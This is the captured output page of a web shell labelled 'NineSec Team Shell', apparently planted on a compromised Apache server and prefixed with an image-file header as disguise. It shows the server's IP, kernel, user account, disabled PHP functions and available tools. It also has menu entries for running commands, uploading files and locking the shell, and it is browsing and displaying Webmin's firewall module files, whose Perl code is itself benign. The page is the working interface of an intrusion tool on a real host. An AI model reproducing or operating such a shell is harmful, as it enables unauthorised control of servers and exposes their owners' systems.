�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.130
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /usr/share/javascript/../webmin/firewall/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/share/javascript/../webmin/firewall/firewall4-lib.pl
# firewall4-lib.pl
# has to be included after firewall-lib from every cgi

# ipv4 initialization
if ($config{'save_file'}) {
	# Force use of a different save file, and webmin's functions
	$iptables_save_file = $config{'save_file'};
	}
else {
	if (-r "$module_root_directory/$gconfig{'os_type'}-lib.pl") {
		# Use the operating system's save file and functions
		do "$gconfig{'os_type'}-lib.pl";
		}

	if (!$iptables_save_file) {
		# Use webmin's own save file
		$iptables_save_file = "$module_config_directory/iptables.save";
		}
	}

%access = &get_module_acl();

@known_tables = ( "filter", "mangle", "nat" );
@known_args =   ('-p', '-m', '-s', '-d', '-i', '-o', '-f',
		 '--dport', '--sport', '--tcp-flags', '--tcp-option',
		 '--icmp-type', '--mac-source', '--limit', '--limit-burst',
		 '--ports', '--uid-owner', '--gid-owner',
		 '--pid-owner', '--sid-owner', '--state', '--ctstate', '--tos',
		 '-j', '--to-ports', '--to-destination', '--to-source',
		 '--reject-with', '--dports', '--sports', '--match-set',
		 '--comment',
		 '--physdev-is-bridged',
		 '--physdev-is-in',
		 '--physdev-is-out',
		 '--physdev-in',
		 '--physdev-out');

@ipvx_rtypes = ( "icmp-net-unreachable", "icmp-host-unreachable",
		  "icmp-port-unreachable", "icmp-proto-unreachable",
		  "icmp-net-prohibited", "icmp-host-prohibited",
		  "echo-reply", "tcp-reset" );

$ipvx_todestpattern='^([0-9\.]+)(\-([0-9\.]+))?(:(\d+)(\-(\d+))?)?$';


# set IP Version
&set_ipvx_version('ipv4');

# IP V4 only functions
sub check_ipmask
{
foreach my $w (split(/[ \t\r\n,]+/, $_[0])) {
	my $ok = &to_ipaddress($w) ||
		$w =~ /^([0-9\.]+)\/([0-9\.]+)$/ &&
			&to_ipaddress("$1") &&
			(&check_ipaddress("$2") || ($2 =~ /^\d+$/ && $2 <= 32));
	return 0 if (!$ok);
	}
return 1;
}

# check_ipvx_ipaddress(ipv4)
# Validates an IPv4 address
sub check_ipvx_ipaddress
{
return &check_ipaddress(@_);
}

1;


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 13 2023 9:43:47
root
0755
help
--
December 13 2023 9:43:47
root
0755
images
--
December 13 2023 9:43:47
root
0755
lang
--
December 13 2023 9:43:47
root
0755
CHANGELOG
2.791 KB
November 08 2023 4:49:10
root
0644
acl_security.pl
1.017 KB
November 08 2023 4:49:10
root
0755
apply.cgi
0.5 KB
November 08 2023 4:49:48
root
0755
backup_config.pl
0.634 KB
November 08 2023 4:49:10
root
0755
bootup.cgi
0.586 KB
November 08 2023 4:49:48
root
0755
cgi_args.pl
0.42 KB
November 08 2023 4:49:10
root
0755
cluster.cgi
2.081 KB
November 08 2023 4:49:48
root
0755
cluster_add.cgi
2.188 KB
November 08 2023 4:49:48
root
0755
cluster_delete.cgi
0.636 KB
November 08 2023 4:49:48
root
0755
coherent-linux-lib.pl
1.545 KB
November 08 2023 4:49:10
root
0755
config
0.081 KB
November 08 2023 4:49:10
root
0644
config.info
1.244 KB
November 08 2023 4:49:10
root
0644
config.info.bg
2.48 KB
November 08 2023 4:49:10
root
0644
config.info.ca
1.496 KB
November 08 2023 4:49:10
root
0644
config.info.cs
0.959 KB
November 08 2023 4:49:10
root
0644
config.info.de
1.422 KB
November 08 2023 4:49:10
root
0644
config.info.fr
1.625 KB
November 08 2023 4:49:10
root
0644
config.info.ja
0.411 KB
November 08 2023 4:49:10
root
0644
config.info.nl
0.953 KB
November 08 2023 4:49:10
root
0644
config.info.no
0.945 KB
November 08 2023 4:49:10
root
0644
config.info.pl
0.988 KB
November 08 2023 4:49:10
root
0644
config.info.pt_BR
0.96 KB
November 08 2023 4:49:10
root
0644
config.info.ru
1.312 KB
November 08 2023 4:49:10
root
0644
config.info.sk
0.966 KB
November 08 2023 4:49:10
root
0644
config.info.tr
0.808 KB
November 08 2023 4:49:10
root
0644
convert.cgi
0.738 KB
November 08 2023 4:49:48
root
0755
debian-linux-lib.pl
4.693 KB
November 08 2023 4:49:10
root
0755
defaultacl
0.098 KB
November 08 2023 4:49:10
root
0644
edit_rule.cgi
14.88 KB
November 08 2023 4:49:48
root
0755
firewall-lib.pl
17.316 KB
November 08 2023 4:49:10
root
0755
firewall4-lib.pl
1.823 KB
November 08 2023 4:49:10
root
0755
firewall6-lib.pl
1.764 KB
November 08 2023 4:49:10
root
0755
gentoo-linux-lib.pl
0.705 KB
November 08 2023 4:49:10
root
0755
index.cgi
16.02 KB
November 08 2023 4:49:48
root
0755
install_check.pl
0.821 KB
November 08 2023 4:49:10
root
0755
log_parser.pl
0.815 KB
November 08 2023 4:49:10
root
0755
mandrake-linux-lib.pl
1.691 KB
November 08 2023 4:49:10
root
0755
module.info
0.202 KB
November 08 2023 4:49:10
root
0644
module.info.af
0 KB
November 08 2023 4:49:10
root
0644
module.info.af.auto
0.169 KB
November 08 2023 4:49:10
root
0644
module.info.ar
0 KB
November 08 2023 4:49:10
root
0644
module.info.ar.auto
0.252 KB
November 08 2023 4:49:10
root
0644
module.info.be
0 KB
November 08 2023 4:49:10
root
0644
module.info.be.auto
0.265 KB
November 08 2023 4:49:10
root
0644
module.info.bg
0 KB
November 08 2023 4:49:10
root
0644
module.info.bg.auto
0.285 KB
November 08 2023 4:49:10
root
0644
module.info.ca
0.146 KB
November 08 2023 4:49:10
root
0644
module.info.ca.auto
0.017 KB
November 08 2023 4:49:10
root
0644
module.info.cs
0.023 KB
November 08 2023 4:49:10
root
0644
module.info.cs.auto
0.145 KB
November 08 2023 4:49:10
root
0644
module.info.da
0 KB
November 08 2023 4:49:10
root
0644
module.info.da.auto
0.163 KB
November 08 2023 4:49:10
root
0644
module.info.de
0.151 KB
November 08 2023 4:49:10
root
0644
module.info.de.auto
0.017 KB
November 08 2023 4:49:10
root
0644
module.info.el
0 KB
November 08 2023 4:49:10
root
0644
module.info.el.auto
0.323 KB
November 08 2023 4:49:10
root
0644
module.info.es
0.025 KB
November 08 2023 4:49:10
root
0644
module.info.es.auto
0.146 KB
November 08 2023 4:49:10
root
0644
module.info.eu
0 KB
November 08 2023 4:49:10
root
0644
module.info.eu.auto
0.156 KB
November 08 2023 4:49:10
root
0644
module.info.fa
0 KB
November 08 2023 4:49:10
root
0644
module.info.fa.auto
0.266 KB
November 08 2023 4:49:10
root
0644
module.info.fi
0 KB
November 08 2023 4:49:10
root
0644
module.info.fi.auto
0.188 KB
November 08 2023 4:49:10
root
0644
module.info.fr
0 KB
November 08 2023 4:49:10
root
0644
module.info.fr.auto
0.169 KB
November 08 2023 4:49:10
root
0644
module.info.he
0 KB
November 08 2023 4:49:10
root
0644
module.info.he.auto
0.237 KB
November 08 2023 4:49:10
root
0644
module.info.hr
0 KB
November 08 2023 4:49:10
root
0644
module.info.hr.auto
0.162 KB
November 08 2023 4:49:10
root
0644
module.info.hu
0.032 KB
November 08 2023 4:49:10
root
0644
module.info.hu.auto
0.168 KB
November 08 2023 4:49:10
root
0644
module.info.it
0 KB
November 08 2023 4:49:10
root
0644
module.info.it.auto
0.163 KB
November 08 2023 4:49:10
root
0644
module.info.ja
0.038 KB
November 08 2023 4:49:10
root
0644
module.info.ja.auto
0.213 KB
November 08 2023 4:49:10
root
0644
module.info.ko
0 KB
November 08 2023 4:49:10
root
0644
module.info.ko.auto
0.193 KB
November 08 2023 4:49:10
root
0644
module.info.lt
0 KB
November 08 2023 4:49:10
root
0644
module.info.lt.auto
0.192 KB
November 08 2023 4:49:10
root
0644
module.info.lv
0 KB
November 08 2023 4:49:10
root
0644
module.info.lv.auto
0.17 KB
November 08 2023 4:49:10
root
0644
module.info.ms
0.154 KB
November 08 2023 4:49:10
root
0644
module.info.ms.auto
0.017 KB
November 08 2023 4:49:10
root
0644
module.info.mt
0 KB
November 08 2023 4:49:10
root
0644
module.info.mt.auto
0.177 KB
November 08 2023 4:49:10
root
0644
module.info.nl
0.022 KB
November 08 2023 4:49:10
root
0644
module.info.nl.auto
0.153 KB
November 08 2023 4:49:10
root
0644
module.info.no
0.022 KB
November 08 2023 4:49:10
root
0644
module.info.no.auto
0.143 KB
November 08 2023 4:49:10
root
0644
module.info.pl
0.138 KB
November 08 2023 4:49:10
root
0644
module.info.pl.auto
0.022 KB
November 08 2023 4:49:10
root
0644
module.info.pt
0 KB
November 08 2023 4:49:10
root
0644
module.info.pt.auto
0.166 KB
November 08 2023 4:49:10
root
0644
module.info.pt_BR
0.025 KB
November 08 2023 4:49:10
root
0644
module.info.pt_BR.auto
0.146 KB
November 08 2023 4:49:10
root
0644
module.info.ro
0 KB
November 08 2023 4:49:10
root
0644
module.info.ro.auto
0.174 KB
November 08 2023 4:49:10
root
0644
module.info.ru
0.05 KB
November 08 2023 4:49:10
root
0644
module.info.ru.auto
0.235 KB
November 08 2023 4:49:10
root
0644
module.info.sk
0.023 KB
November 08 2023 4:49:10
root
0644
module.info.sk.auto
0.17 KB
November 08 2023 4:49:10
root
0644
module.info.sl
0 KB
November 08 2023 4:49:10
root
0644
module.info.sl.auto
0.17 KB
November 08 2023 4:49:10
root
0644
module.info.sv
0 KB
November 08 2023 4:49:10
root
0644
module.info.sv.auto
0.17 KB
November 08 2023 4:49:10
root
0644
module.info.th
0 KB
November 08 2023 4:49:10
root
0644
module.info.th.auto
0.299 KB
November 08 2023 4:49:10
root
0644
module.info.tr
0 KB
November 08 2023 4:49:10
root
0644
module.info.tr.auto
0.21 KB
November 08 2023 4:49:10
root
0644
module.info.uk
0 KB
November 08 2023 4:49:10
root
0644
module.info.uk.auto
0.271 KB
November 08 2023 4:49:10
root
0644
module.info.ur
0 KB
November 08 2023 4:49:10
root
0644
module.info.ur.auto
0.3 KB
November 08 2023 4:49:10
root
0644
module.info.vi
0 KB
November 08 2023 4:49:10
root
0644
module.info.vi.auto
0.199 KB
November 08 2023 4:49:10
root
0644
module.info.zh
0 KB
November 08 2023 4:49:10
root
0644
module.info.zh.auto
0.142 KB
November 08 2023 4:49:10
root
0644
module.info.zh_TW
0 KB
November 08 2023 4:49:10
root
0644
module.info.zh_TW.auto
0.15 KB
November 08 2023 4:49:10
root
0644
move.cgi
1.285 KB
November 08 2023 4:49:48
root
0755
newchain.cgi
0.877 KB
November 08 2023 4:49:48
root
0755
open-ports.pl
3.398 KB
November 08 2023 4:49:49
root
0755
prefs.info
0.054 KB
November 08 2023 4:49:10
root
0644
redhat-linux-lib.pl
2.137 KB
November 08 2023 4:49:10
root
0755
save_policy.cgi
7.15 KB
November 08 2023 4:49:48
root
0755
save_rule.cgi
12.401 KB
November 08 2023 4:49:48
root
0755
save_rule6.cgi
12.048 KB
November 08 2023 4:49:48
root
0755
setup.cgi
9.367 KB
November 08 2023 4:49:48
root
0755
setup6.cgi
8.122 KB
November 08 2023 4:49:48
root
0755
trustix-linux-lib.pl
2.137 KB
November 08 2023 4:49:10
root
0755
unapply.cgi
0.595 KB
November 08 2023 4:49:48
root
0755

NineSec Team - 2022